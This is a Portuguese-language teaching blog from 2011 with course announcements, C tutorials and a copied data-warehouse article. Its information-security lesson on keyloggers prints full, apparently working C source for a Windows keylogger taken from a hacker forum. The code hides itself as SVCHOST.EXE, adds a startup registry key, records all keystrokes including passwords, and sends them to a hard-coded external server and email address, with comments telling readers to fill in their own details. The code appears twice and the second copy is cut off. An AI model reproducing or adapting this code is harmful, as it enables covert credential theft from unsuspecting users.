Blog de Segurança da Informação
O blog do Silas Martins contém informações que irão agradar aos alunos de Segurança da Informação. Aqueles que quiserem seguí-lo basta rolar esta página até o final e procurar por BLOGS QUE RECOMENDO.
No blog são destrinchados diversos e-mails de ameaças, como malwares, vírus, key-loggers, phishing, que são explicados, incluindo-se os códigos das ameaças. Bastante didádico.
segunda-feira, 5 de dezembro de 2011
sexta-feira, 2 de dezembro de 2011
Introdução a Algoritmos - 1ºE - 4º TVC (Teste de Verificação de Conhecimentos) - 09/12/2011 - 16 pontos
Horário
15h10
Local
Laboratório 1
Valor
16 pontos
Conteúdo
Estruturas de dados homogêneas:Vetores; Criação e manipulação de vetores; Ordenação e busca; Matrizes; Criação e manipulação de matrizes; Modularização e Estruturação: Modularização; Procedimentos: Argumentos e Passagem de parâmetros; Funções: Recursividade; Pilha; Fila; Lista; Ponteiro.
Naturalmente que todas as outras operações, estruturas e comandos da linguagem C poderão cair nesta prova, ainda que de maneira indireta.
Estudem. Boa Sorte.
Atenciosamente,
Tutorial Dev-C++ 017 - Ponteiros
Tutorial Dev-C++ 017 - Ponteiros
A compreensão e o uso correto de ponteiros sao críticos para criaçao de muitos programas de êxito na linguagem C. Há três motivos para isso. Primeiro, os ponteiros provêem o meio para que as funçoes possam modificar os seus argumentos de chamada. Segundo, eles sao usados para suportar rotinas de alocaçao dinâmica da linguagem C. Terceiro, podem ser substituídos pelas matrizes em muitas situaçoes - proporcionando aumento de eficiência. Além disso, muitas das características do C apóiam-se firmemente nos ponteiros, portanto, um completo entendimento de ponteiros é muito importante. Além de ser uma das características mais fortes da linguagem C, os ponteiros também sao muito perigosos. Por exemplo, quando nao-inicializados ou descuidados, eles podem causar o travamento do sistema. E pior: é fácil usar ponteiros incorretamente, o que causa "bugs" (erros) difíceis de serem encontrados.
Pegue agora o Tutorial Dev-C++ 017 - Ponteiros e começe a ler, pois ele é bem grande. Compile e estude o funcionamento dos exercícios resolvidos e tente resolver os exercícios propostos.
A compreensão e o uso correto de ponteiros sao críticos para criaçao de muitos programas de êxito na linguagem C. Há três motivos para isso. Primeiro, os ponteiros provêem o meio para que as funçoes possam modificar os seus argumentos de chamada. Segundo, eles sao usados para suportar rotinas de alocaçao dinâmica da linguagem C. Terceiro, podem ser substituídos pelas matrizes em muitas situaçoes - proporcionando aumento de eficiência. Além disso, muitas das características do C apóiam-se firmemente nos ponteiros, portanto, um completo entendimento de ponteiros é muito importante. Além de ser uma das características mais fortes da linguagem C, os ponteiros também sao muito perigosos. Por exemplo, quando nao-inicializados ou descuidados, eles podem causar o travamento do sistema. E pior: é fácil usar ponteiros incorretamente, o que causa "bugs" (erros) difíceis de serem encontrados.
Pegue agora o Tutorial Dev-C++ 017 - Ponteiros e começe a ler, pois ele é bem grande. Compile e estude o funcionamento dos exercícios resolvidos e tente resolver os exercícios propostos.
quinta-feira, 1 de dezembro de 2011
Tutorial Dev-C++ 016 - Retorno às Strings
Tutorial Dev-C++ 016 - Retorno às Strings
Um visão um pouco mais profunda no tratamento de strings. Diversas funções úteis para trabalhar com strings em C. Pegue logo o Tutorial 16, rode os exemplos, estude-os e tente fazer os exercícios propostos.
Um visão um pouco mais profunda no tratamento de strings. Diversas funções úteis para trabalhar com strings em C. Pegue logo o Tutorial 16, rode os exemplos, estude-os e tente fazer os exercícios propostos.
Introdução a Algoritmos - Aula 01/12/2011 (Revisitando o passado)
Revisitando o Passado
Nestas próximas aulas recobraremos o uso de pilhas, filas e listas. Depois entraremos em contato mais profundo com ponteiros.
PILHAS, FILAS E LISTAS
Para rever o uso de um destes importantes paradigmas de programação, clique em pilhas (Tutorial Dev-C++ 008), filas (Tutorial Dev-C++ 009) ou listas (Tutorial Dev-C++ 010).
É muito importante rever estes conceitos para as próximas aplicações que faremos. Mais que copiar e colar os códigos dos tutoriais no Dev-C++ e executá-los pura e simplesmente, é importante ler e entender os conceitos teóricos que embasam cada um dos paradigmas. É de suma importância também refazer os algoritmos dos dois primeiros bimestres, nos quais introduzimos o conceito destes paradigmas. Outrossim, a biblioteca conta com livros que podem lhe ajudar, seja com conteúdos teóricos, seja com novas aplicações destes conceitos. Enfatizamos também o uso do Google ou outra ferramenta de busca para conseguir maior aprofundamento na teoria.
PONTEIROS
Nos próximos tutoriais estaremos tratando especificamente desta importante técnica de programação. Já fizemos uso de ponteiros em nosso programa Analisador de Expressões. Nas próximas aulas faremos uso intenso de pilhas, filas, listas e ponteiros. Até lá.
Nestas próximas aulas recobraremos o uso de pilhas, filas e listas. Depois entraremos em contato mais profundo com ponteiros.
PILHAS, FILAS E LISTAS
Para rever o uso de um destes importantes paradigmas de programação, clique em pilhas (Tutorial Dev-C++ 008), filas (Tutorial Dev-C++ 009) ou listas (Tutorial Dev-C++ 010).
É muito importante rever estes conceitos para as próximas aplicações que faremos. Mais que copiar e colar os códigos dos tutoriais no Dev-C++ e executá-los pura e simplesmente, é importante ler e entender os conceitos teóricos que embasam cada um dos paradigmas. É de suma importância também refazer os algoritmos dos dois primeiros bimestres, nos quais introduzimos o conceito destes paradigmas. Outrossim, a biblioteca conta com livros que podem lhe ajudar, seja com conteúdos teóricos, seja com novas aplicações destes conceitos. Enfatizamos também o uso do Google ou outra ferramenta de busca para conseguir maior aprofundamento na teoria.
PONTEIROS
Nos próximos tutoriais estaremos tratando especificamente desta importante técnica de programação. Já fizemos uso de ponteiros em nosso programa Analisador de Expressões. Nas próximas aulas faremos uso intenso de pilhas, filas, listas e ponteiros. Até lá.
quarta-feira, 30 de novembro de 2011
Sistemas de Apoio à Decisão - Aula 30/11/2011 (Data Mining, Data Warehouse e Arquitetura de um Data Warehouse)
Data Mining
Vide o link http://pt.wikipedia.org/wiki/Minera%C3%A7%C3%A3o_de_dados para uma introdução sobre Data Mining.
Data Warehouse
Introdução
O grande crescimento do ambiente de negócios, médias e grandes empresas armazenam também um alto volume de informações, onde que juntamente com a tecnologia da informação, a correta extração destas informações é um fator chave para se conseguir destaque no mercado cada vez mais competitivo.
Este manancial de informação, quando aproveitado de forma eficaz, desempenha um papel fundamental no sucesso das organizações, afinal vivemos numa sociedade tecnológica onde a informação acumulada é muito valiosa, sendo assim a informação “tratamento de dados”, irá determinar a eficiência da empresa e quais as melhores decisões devem ser tomadas.
Segundo Date (2004) “Data Warehouse (que no português significa, literalmente armazém de dados) é um deposito de dados orientado por assunto, integrado, não volátil, variável com o tempo, para apoiar as decisões gerenciais”.
Orientado por assunto
Refere-se aos sistemas transacionais organizados em uma determinada aplicação de uma empresa. A orientação por assunto é uma característica importante, pois toda a modelagem do DW é orientada a partir dos principais assuntos da empresa. Por exemplo uma empresa de arrecadação de impostos, onde os principais assuntos são os cadastros de contribuintes, impostos a recolher.
Integrado
Essa é a característica mais importante do DW, pois trata da integração, que é feita do ambiente operacional para as aplicações do DW. A integração é realizada visando padronizar os dados dos diversos sistemas em uma única representação, para serem transferidos para a base de dados única do DW.
Não volátil
Nos sistemas transacionais os dados sofrem diversas alterações como, por exemplo, a inclusão, alteração e exclusão de dados. No ambiente do Data Warehouse os dados, antes de serem carregados, são filtrados e limpos “gerando informação”. Após esta etapa esses dados sofrem somente operações de consulta e exclusão, sem que possam ser alterados, e esta característica representa a não-volatilidade.
Variável com o tempo
A variação em relação ao tempo consiste na manutenção de um histórico de dados em relação ao período de tempo maior que dos sistemas comuns, isto significa que as técnicas de mineração de dados não são aplicadas em tempo real, de forma a não comprometer o desempenho dos bancos transacionais OLTP. Ao analisarmos um dado de um DW, o mesmo sempre estará relacionado a um período determinado de tempo, pois terá uma chave de tempo que irá indicar o dia no qual esses dados foram extraídos.
O DW consiste a junção de diversas tecnologias que permitem fazer consulta no banco de dados, para posterior análise das informações. Devido ao ambiente projetado, o DW tem uma única fonte de dados, que facilita muito o trabalho do analista, porque os dados que lá existem estão tratados e não há redundância das informações.
Para maiores detalhes você pode acessar também o link http://www.coladaweb.com/informatica/data-warehouse.
Elementos básicos do DW Abaixo podemos visualizar os elementos básicos que compõem as arquiteturas de um Data Warehouse.
Fonte de dados
Sistemas transacionais da empresa, pode ser composto por diversas formas de dados.
Data Stage
Composta por uma área de armazenagem e um conjunto de processos. Sua função é extrair os dados dos sistemas transacionais, proceder a limpeza, a transformação, combinação, de duplicação e preparação dos dados para o uso no DW. Estes dados não são apresentados ao usuário final.
Servidor de apresentação
Ambiente onde os dados são organizados e armazenados para consulta direta pelos usuários finais. Normalmente os dados estão disponíveis nestes servidores em bancos de dados relacionais, mas também podem estar armazenados em tecnologia OLAP (OnLine Analytical Processing ) já que muitos data marts trabalham apenas com dados no modelo dimensional.
Data Mart
Subconjunto lógico do DW, geralmente divididos por departamento ou visões necessárias para os usuários.
Data Mining
Também conhecido como mineração de dados, o Data Mining trabalha em grandes massas de dados onde existem muitas correlações entre os dados que não são perceptíveis facilmente. Os Data Warehouses são constituídos, normalmente, de imensa quantidade de dados, há necessidade de uma ferramenta para varrer automaticamente o DW a fim de pesquisar tendências e padrões através de regras pré-definidas que dificilmente seriam encontrados em uma pesquisa comum.
Ferramentas de acesso aos dados
Maneira em que os dados são extraídos e integrados com cada processo distinto do DW. As funções para a transformação dos dados são:
Arquitetura do DW pode variar conforme o tipo de assunto abordado, isso ocorre devido as necessidades que variam de empresa para empresa.
Arquitetura Genérica
A arquitetura genérica compreende a camada dos dados operacionais que serão acessados pela camada de acesso a dados. As camadas de gerenciamento de processos, transporte e data warehouse são responsáveis por distribuir os dados e estão no centro da arquitetura. A camada de acesso à informação possibilita a extração das informações do DW utilizando um conjunto de ferramentas.
Arquitetura de Duas Camadas
A arquitetura de duas camadas utiliza um servidor, juntamente com aplicações front end, que são ferramentas que realizam operações sobre os dados consultados e os transformam em informações úteis para os usuários, os componentes back end são ferramentas responsáveis pela extração, limpeza e cargas dos dados, mais conhecidas como ETL também são utilizadas neste tipo de arquitetura.
Arquitetura de Três Camadas
A arquitetura de três camadas suporta vários usuários e serviços devido a sua flexibilidade, as informações ficam armazenadas em várias camadas. Na primeira camada estão as interfaces que trabalham com o usuário, onde geralmente são gráficas. Na segunda camada estão os servidores de banco de dados e aplicações e, por isso, têm a necessidade de ter um acesso eficiente e veloz aos dados compartilhados, e na última ficam armazenadas as fontes de dados. A arquitetura de três camadas é a mais utilizada pelos analistas.
Acesse Data Warehouse para maiores informações.
Conclusão
Vimos neste míni artigo um pouco sobre importância de um Data Warehouse para as empresas, suas definição, características, arquitetura e elementos básicos usados na sua construção.
Vide o link http://pt.wikipedia.org/wiki/Minera%C3%A7%C3%A3o_de_dados para uma introdução sobre Data Mining.
Data Warehouse
fonte: o texto e as imagens abaixo foi retirado de http://www.devmedia.com.br/post-12609-Data-Warehouse.html (se a DevMedia se sentir ofendida basta solicitar e o conteúdo será removido -- obrigado).
Introdução
O grande crescimento do ambiente de negócios, médias e grandes empresas armazenam também um alto volume de informações, onde que juntamente com a tecnologia da informação, a correta extração destas informações é um fator chave para se conseguir destaque no mercado cada vez mais competitivo.
Este manancial de informação, quando aproveitado de forma eficaz, desempenha um papel fundamental no sucesso das organizações, afinal vivemos numa sociedade tecnológica onde a informação acumulada é muito valiosa, sendo assim a informação “tratamento de dados”, irá determinar a eficiência da empresa e quais as melhores decisões devem ser tomadas.
Segundo Date (2004) “Data Warehouse (que no português significa, literalmente armazém de dados) é um deposito de dados orientado por assunto, integrado, não volátil, variável com o tempo, para apoiar as decisões gerenciais”.
Orientado por assunto
Refere-se aos sistemas transacionais organizados em uma determinada aplicação de uma empresa. A orientação por assunto é uma característica importante, pois toda a modelagem do DW é orientada a partir dos principais assuntos da empresa. Por exemplo uma empresa de arrecadação de impostos, onde os principais assuntos são os cadastros de contribuintes, impostos a recolher.
Integrado
Essa é a característica mais importante do DW, pois trata da integração, que é feita do ambiente operacional para as aplicações do DW. A integração é realizada visando padronizar os dados dos diversos sistemas em uma única representação, para serem transferidos para a base de dados única do DW.
Não volátil
Nos sistemas transacionais os dados sofrem diversas alterações como, por exemplo, a inclusão, alteração e exclusão de dados. No ambiente do Data Warehouse os dados, antes de serem carregados, são filtrados e limpos “gerando informação”. Após esta etapa esses dados sofrem somente operações de consulta e exclusão, sem que possam ser alterados, e esta característica representa a não-volatilidade.
Variável com o tempo
A variação em relação ao tempo consiste na manutenção de um histórico de dados em relação ao período de tempo maior que dos sistemas comuns, isto significa que as técnicas de mineração de dados não são aplicadas em tempo real, de forma a não comprometer o desempenho dos bancos transacionais OLTP. Ao analisarmos um dado de um DW, o mesmo sempre estará relacionado a um período determinado de tempo, pois terá uma chave de tempo que irá indicar o dia no qual esses dados foram extraídos.
O DW consiste a junção de diversas tecnologias que permitem fazer consulta no banco de dados, para posterior análise das informações. Devido ao ambiente projetado, o DW tem uma única fonte de dados, que facilita muito o trabalho do analista, porque os dados que lá existem estão tratados e não há redundância das informações.
Para maiores detalhes você pode acessar também o link http://www.coladaweb.com/informatica/data-warehouse.
Elementos básicos do DW Abaixo podemos visualizar os elementos básicos que compõem as arquiteturas de um Data Warehouse.
Figura 1 - Elementos DW
Fonte de dados
Sistemas transacionais da empresa, pode ser composto por diversas formas de dados.
Data Stage
Composta por uma área de armazenagem e um conjunto de processos. Sua função é extrair os dados dos sistemas transacionais, proceder a limpeza, a transformação, combinação, de duplicação e preparação dos dados para o uso no DW. Estes dados não são apresentados ao usuário final.
Servidor de apresentação
Ambiente onde os dados são organizados e armazenados para consulta direta pelos usuários finais. Normalmente os dados estão disponíveis nestes servidores em bancos de dados relacionais, mas também podem estar armazenados em tecnologia OLAP (OnLine Analytical Processing ) já que muitos data marts trabalham apenas com dados no modelo dimensional.
Data Mart
Subconjunto lógico do DW, geralmente divididos por departamento ou visões necessárias para os usuários.
Data Mining
Também conhecido como mineração de dados, o Data Mining trabalha em grandes massas de dados onde existem muitas correlações entre os dados que não são perceptíveis facilmente. Os Data Warehouses são constituídos, normalmente, de imensa quantidade de dados, há necessidade de uma ferramenta para varrer automaticamente o DW a fim de pesquisar tendências e padrões através de regras pré-definidas que dificilmente seriam encontrados em uma pesquisa comum.
Ferramentas de acesso aos dados
Maneira em que os dados são extraídos e integrados com cada processo distinto do DW. As funções para a transformação dos dados são:
- Extração: retirada dos dados dos sistemas transacionais e armazenagem na área de data stage;
- Carga de dimensões processadas: realimentação do processo para garantir a representação correta dos dados em novo formato.
- Carga, Replicação e Recuperação: quando pronto, o dado é carregado no data mart correspondente e são criados (ou atualizados) índices para melhorar a performance das consulta.
- Alimentação: apresenta as visões do data mart de acordo com as necessidades dos usuários.
- Carga dos resultados dos modelos: serve para realimentar possíveis modificações no data mart, caso este não esteja adequado a aplicação que o utiliza.
Arquitetura do DW pode variar conforme o tipo de assunto abordado, isso ocorre devido as necessidades que variam de empresa para empresa.
Arquitetura Genérica
A arquitetura genérica compreende a camada dos dados operacionais que serão acessados pela camada de acesso a dados. As camadas de gerenciamento de processos, transporte e data warehouse são responsáveis por distribuir os dados e estão no centro da arquitetura. A camada de acesso à informação possibilita a extração das informações do DW utilizando um conjunto de ferramentas.
Figura 2 - Arquitetura genérica DW
Arquitetura de Duas Camadas
A arquitetura de duas camadas utiliza um servidor, juntamente com aplicações front end, que são ferramentas que realizam operações sobre os dados consultados e os transformam em informações úteis para os usuários, os componentes back end são ferramentas responsáveis pela extração, limpeza e cargas dos dados, mais conhecidas como ETL também são utilizadas neste tipo de arquitetura.
Figura 3 - Arquitetura duas camadas DW
Arquitetura de Três Camadas
A arquitetura de três camadas suporta vários usuários e serviços devido a sua flexibilidade, as informações ficam armazenadas em várias camadas. Na primeira camada estão as interfaces que trabalham com o usuário, onde geralmente são gráficas. Na segunda camada estão os servidores de banco de dados e aplicações e, por isso, têm a necessidade de ter um acesso eficiente e veloz aos dados compartilhados, e na última ficam armazenadas as fontes de dados. A arquitetura de três camadas é a mais utilizada pelos analistas.
Figura 4 - Arquitetura três camadas DW
Acesse Data Warehouse para maiores informações.
Conclusão
Vimos neste míni artigo um pouco sobre importância de um Data Warehouse para as empresas, suas definição, características, arquitetura e elementos básicos usados na sua construção.
segunda-feira, 28 de novembro de 2011
Segurança da Informação - Aula 28/11/2011 (Vírus em Batch)
Vírus em Batch
Há 3 tipos básicos (dentre outros) que são executáveis num computador: arquivos executáveis (extensão EXE), arquivos de comando (extensão COM) e arquivos em lote ou batch files (extensão BAT).
Arquivos em lote não são propriamente programas, mas podem executar diversos comandos em lote, daí seu nome. Podem ser usados para criarmos arquivos nocivos e que modifiquem, danifiquem ou torne instável ou inoperante o sistema operacional (Windows, a saber). Para ver como criar alguns "vírus" deste tipo acesse este link.
Há 3 tipos básicos (dentre outros) que são executáveis num computador: arquivos executáveis (extensão EXE), arquivos de comando (extensão COM) e arquivos em lote ou batch files (extensão BAT).
Arquivos em lote não são propriamente programas, mas podem executar diversos comandos em lote, daí seu nome. Podem ser usados para criarmos arquivos nocivos e que modifiquem, danifiquem ou torne instável ou inoperante o sistema operacional (Windows, a saber). Para ver como criar alguns "vírus" deste tipo acesse este link.
Segurança da Informação - Aula 28/11/2011 (Keyloggers)
Keyloggers
Keyloggers são programas residentes (ou seja, ficam em execução em segundo plano) e fazem captura de tudo o que o usuário digita, isto é, captura todo pressionamento de teclas do usuário, incluindo senhas. Alguns antivirus os detectam, mas existem técnicas para escondê-los, portanto uma pessoa mal intencionada pode lhe enviar um keylogger disfarçado e indetectável pelo seu antivirus atual.
Observação: 1) Prestem atencão nos comentários, para modificar os dados necessários;
2) O programa pode ser detectado por algum antivírus com boa verificação heurística.
Abaixo o código de um Keylogger em linguagem C fonte: http://forum.guiadohacker.com.br/showthread.php?t=6745
//Bibliotecas
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winreg.h>
#include <winsock.h>
#progama comment(lib, "winsock32.lib") //LIB do winsock
//Dados para envio do email
#define de "lol@lol.com.br"
#define para "oliveiracarlo@bol.com.br"
#define assunto "LOG"
#define FORMMAIL.php" //Troque pelos dados corretos.
#define ip "200.201.8.45" //IP do servidor
//Variáveis
int c,n,s,num,num2,caps,envia_tam=50,strtam; //envia_tam = número mínimo de caracteres digitados para enviar email
void logar_normal(),logar_caps(),logar_shift(); //Funções
char teclas[99999],teclas_aux[99999],enviar[99999],caminho_copia[255];
HWND janela;
HKEY chave;
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
//Fim da declaração de variáveis
int main(int argc,char *argumento[0]){ //Função principal, usaremos "argumento[0]" para capturar-mos o nome do arquivo do keylogger e o diretório onde este arquivo se encontra.
//Muda o título da janela e a oculta.
SetConsoleTitle("SVCHOST.EXE");
janela = FindWindow(NULL,"SVCHOST.EXE");
ShowWindow(janela,SW_HIDE);
sprintf(caminho_copia,"%s",argumento[0]); //Faz uma cópia do caminho do keylogger.
//Inicializa o WINSOCK, e caso ocorra algum erro, encerra o keylogger.
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
exit(0);
if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR)
exit(0); //Encerra o programa se a tentativa de criar um socket não teve sucesso.
//Cria uma entrada no registro, para que o keylogger inicie junto com o sistema operacional.
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,"SVCHOST.EXE",0,1,(LPBYTE)"C:\ \WINDOWS\\SVCHOST.EXE",22);
RegCloseKey(chave);
CopyFile(caminho_copia,"C:\\WINDOWS\\SVCHOST.EXE", 0); //Copia o keylogger para C:\WINDOWS\SVCHOST.EXE, cujo programa é acionado ao iniciar do windows.
while(1){ //Loop
Sleep(1); //Pausa para o LOOP não travar.
strtam=strlen(teclas); //Captura o número dos carecteres digitados
if(strtam>=envia_tam) //Compara se o número é maior ou igual ao especificado em "envia_tam"
{
//Caso afirmativo:
//Prepara socket
sock.sin_family=AF_INET;
sock.sin_addr.S_un.S_addr = inet_addr(200.201.8.45"); //IP do servidor
sock.sin_port=htons(80);
/* A linha abaixo é muito importante.
Essa linha ao ser enviada para o servidor,
fará com que você receba o email com o log.
Preste muita atenção ao lidar com ela:
*/
sprintf(enviar,"GET /%s?de=%s¶=%s&assunto=%s&msg=%s HTTP/1.1\nHost:fmail9.uol.com.br\n\n",FORMMAIL,de,para, assunto,teclas);
if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR) //Caso haja erro, interrompe o programa.
exit(0);
//Conecta ao servidor
if(connect(winsock,(sockaddr*)&sock,sizeof(sock))! =SOCKET_ERROR){
send(winsock,enviar,strlen(enviar),0); //Envia para o servidor uma requisição ao formmail para que este envie o log.
//Limpa as variáveis que armazenam as teclas digitadas.
sprintf(teclas,"");
sprintf(teclas_aux,"");
}
else{
exit(0); //Erro ao conectar, resulta na saída do programa.
}}
//Daqui em diante começa o código responsável pela obtençãp e gravação das teclas.
if(GetAsyncKeyState(0x8)==-32767){ //Tecla BackSpace, copia para uma variável auxiliar os caracteres digitados com 1 caractere a menos, e em seguida recopia o conteúdo para a variável principal.
if(strlen(teclas)>0)
strncpy(teclas_aux,teclas,strlen(teclas)-1);
strcpy(teclas,teclas_aux);
sprintf(teclas_aux,"%c",0);}
//Tecla Enter, adiciona na string: %0A, que é o caractere da tecla ENTER em modo escape, utilizando para o envio de email via PHP.
if(GetAsyncKeyState(0xD)==-32767){
strcat(teclas,"%0A");
}
//Verifica o pressionamento da tecla SHIFT e chama pela função adequada.
if(GetAsyncKeyState(0x10))
logar_shift();
//Tecla de espaço, novamente, %20 é o caractere escape da tecla SPACE.
if(GetAsyncKeyState(0x20)==-32767)
strcat(teclas,"%20");
//Verifica o CAPS LOCK
caps = GetKeyState(0x14);
switch(caps)
{
case 0:
logar_normal(); //Se caps lock estiver desligado
break;
case 1:
logar_caps(); //Se logado
}
for(num=48;num<=57;num++) //Loga números
if(GetAsyncKeyState(num)==-32767)
sprintf(teclas,"%s%c",teclas,num);
//Loga outros caracteres.
if(GetAsyncKeyState(106)==-32767)
sprintf(teclas,"%s*",teclas);
if(GetAsyncKeyState(107)==-32767)
sprintf(teclas,"%s+",teclas);
if(GetAsyncKeyState(109)==-32767)
sprintf(teclas,"%s-",teclas);
if(GetAsyncKeyState(110)==-32767)
sprintf(teclas,"%s.",teclas);
if(GetAsyncKeyState(111)==-32767)
sprintf(teclas,"%s/",teclas);
if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s;",teclas);
if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s=",teclas);
if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s,",teclas);
if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s-",teclas);
if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s.",teclas);
if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s/",teclas);
if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s`",teclas);
if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s[",teclas);
if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s%c",teclas,220);
if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s]",teclas);
if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s'",teclas);
//Loga teclado númerico. (0123...9 +*/-.)
for(num2=96;num2<=105;num2++)
if(GetAsyncKeyState(num2)==-32767)
sprintf(teclas,"%s%c",teclas,num2-48 );
}
return 0;
}
//Loga quando SHIFT for pressionado.
void logar_shift()
{
for(s=48;s<=57;s++)
if(GetAsyncKeyState(s)==-32767)
switch(s)
{
//Loga símbolos, note que alguns símbolos só são aceitos se estiverem em modo escape.
case 48:
sprintf(teclas,"%s)",teclas);
break;
case 49:
sprintf(teclas,"%s!",teclas);
break;
case 50:
sprintf(teclas,"%s@",teclas);
break;
case 51:
sprintf(teclas,"%s%%23",teclas);
break;
case 52:
sprintf(teclas,"%s%%24",teclas);
break;
case 53:
sprintf(teclas,"%s%%25",teclas);
break;
case 54:
sprintf(teclas,"%s%%5E",teclas);
break;
case 55:
sprintf(teclas,"%s%%26",teclas);
break;
case 56:
sprintf(teclas,"%s*",teclas);
break;
case 57:
sprintf(teclas,"%s(",teclas);
break;
}
//Na mesma função do SHIFT, verifica se CAPSLOCK está ligado ou desligado
switch(caps)
{
case 0: //Se desligado,loga letras em maiúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s);
break;
case 1: //Se ligado, loga letrs em minúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s+32);
}
//Outros símbolos combinados com SHIFT.
if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s:",teclas);
if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s+",teclas);
if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s<",teclas);
if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s_",teclas);
if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s>",teclas);
if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s?",teclas);
if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s~",teclas);
if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s{",teclas);
if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s|",teclas);
if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s}",teclas);
if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s\"",teclas);
}
//Loga quando CAPSLOCK estiver ligado
void logar_caps()
{
for(c=65;c<=90;c++)
if(GetAsyncKeyState(c)==-32767)
sprintf(teclas,"%s%c",teclas,c);
}
void logar_normal() //Loga quando nem SHIFT nem CAPSLOCK estiverem sendo usados.
{
for(n=65;n<=90;n++)
if(GetAsyncKeyState(n)==-32767)
sprintf(teclas,"%s%c",teclas,n+32);
"
}
Keyloggers são programas residentes (ou seja, ficam em execução em segundo plano) e fazem captura de tudo o que o usuário digita, isto é, captura todo pressionamento de teclas do usuário, incluindo senhas. Alguns antivirus os detectam, mas existem técnicas para escondê-los, portanto uma pessoa mal intencionada pode lhe enviar um keylogger disfarçado e indetectável pelo seu antivirus atual.
Observação: 1) Prestem atencão nos comentários, para modificar os dados necessários;
2) O programa pode ser detectado por algum antivírus com boa verificação heurística.
Abaixo o código de um Keylogger em linguagem C fonte: http://forum.guiadohacker.com.br/showthread.php?t=6745
//Bibliotecas
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winreg.h>
#include <winsock.h>
#progama comment(lib, "winsock32.lib") //LIB do winsock
//Dados para envio do email
#define de "lol@lol.com.br"
#define para "oliveiracarlo@bol.com.br"
#define assunto "LOG"
#define FORMMAIL.php" //Troque pelos dados corretos.
#define ip "200.201.8.45" //IP do servidor
//Variáveis
int c,n,s,num,num2,caps,envia_tam=50,strtam; //envia_tam = número mínimo de caracteres digitados para enviar email
void logar_normal(),logar_caps(),logar_shift(); //Funções
char teclas[99999],teclas_aux[99999],enviar[99999],caminho_copia[255];
HWND janela;
HKEY chave;
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
//Fim da declaração de variáveis
int main(int argc,char *argumento[0]){ //Função principal, usaremos "argumento[0]" para capturar-mos o nome do arquivo do keylogger e o diretório onde este arquivo se encontra.
//Muda o título da janela e a oculta.
SetConsoleTitle("SVCHOST.EXE");
janela = FindWindow(NULL,"SVCHOST.EXE");
ShowWindow(janela,SW_HIDE);
sprintf(caminho_copia,"%s",argumento[0]); //Faz uma cópia do caminho do keylogger.
//Inicializa o WINSOCK, e caso ocorra algum erro, encerra o keylogger.
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
exit(0);
if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR)
exit(0); //Encerra o programa se a tentativa de criar um socket não teve sucesso.
//Cria uma entrada no registro, para que o keylogger inicie junto com o sistema operacional.
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,"SVCHOST.EXE",0,1,(LPBYTE)"C:\ \WINDOWS\\SVCHOST.EXE",22);
RegCloseKey(chave);
CopyFile(caminho_copia,"C:\\WINDOWS\\SVCHOST.EXE", 0); //Copia o keylogger para C:\WINDOWS\SVCHOST.EXE, cujo programa é acionado ao iniciar do windows.
while(1){ //Loop
Sleep(1); //Pausa para o LOOP não travar.
strtam=strlen(teclas); //Captura o número dos carecteres digitados
if(strtam>=envia_tam) //Compara se o número é maior ou igual ao especificado em "envia_tam"
{
//Caso afirmativo:
//Prepara socket
sock.sin_family=AF_INET;
sock.sin_addr.S_un.S_addr = inet_addr(200.201.8.45"); //IP do servidor
sock.sin_port=htons(80);
/* A linha abaixo é muito importante.
Essa linha ao ser enviada para o servidor,
fará com que você receba o email com o log.
Preste muita atenção ao lidar com ela:
*/
sprintf(enviar,"GET /%s?de=%s¶=%s&assunto=%s&msg=%s HTTP/1.1\nHost:fmail9.uol.com.br\n\n",FORMMAIL,de,para, assunto,teclas);
if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR) //Caso haja erro, interrompe o programa.
exit(0);
//Conecta ao servidor
if(connect(winsock,(sockaddr*)&sock,sizeof(sock))! =SOCKET_ERROR){
send(winsock,enviar,strlen(enviar),0); //Envia para o servidor uma requisição ao formmail para que este envie o log.
//Limpa as variáveis que armazenam as teclas digitadas.
sprintf(teclas,"");
sprintf(teclas_aux,"");
}
else{
exit(0); //Erro ao conectar, resulta na saída do programa.
}}
//Daqui em diante começa o código responsável pela obtençãp e gravação das teclas.
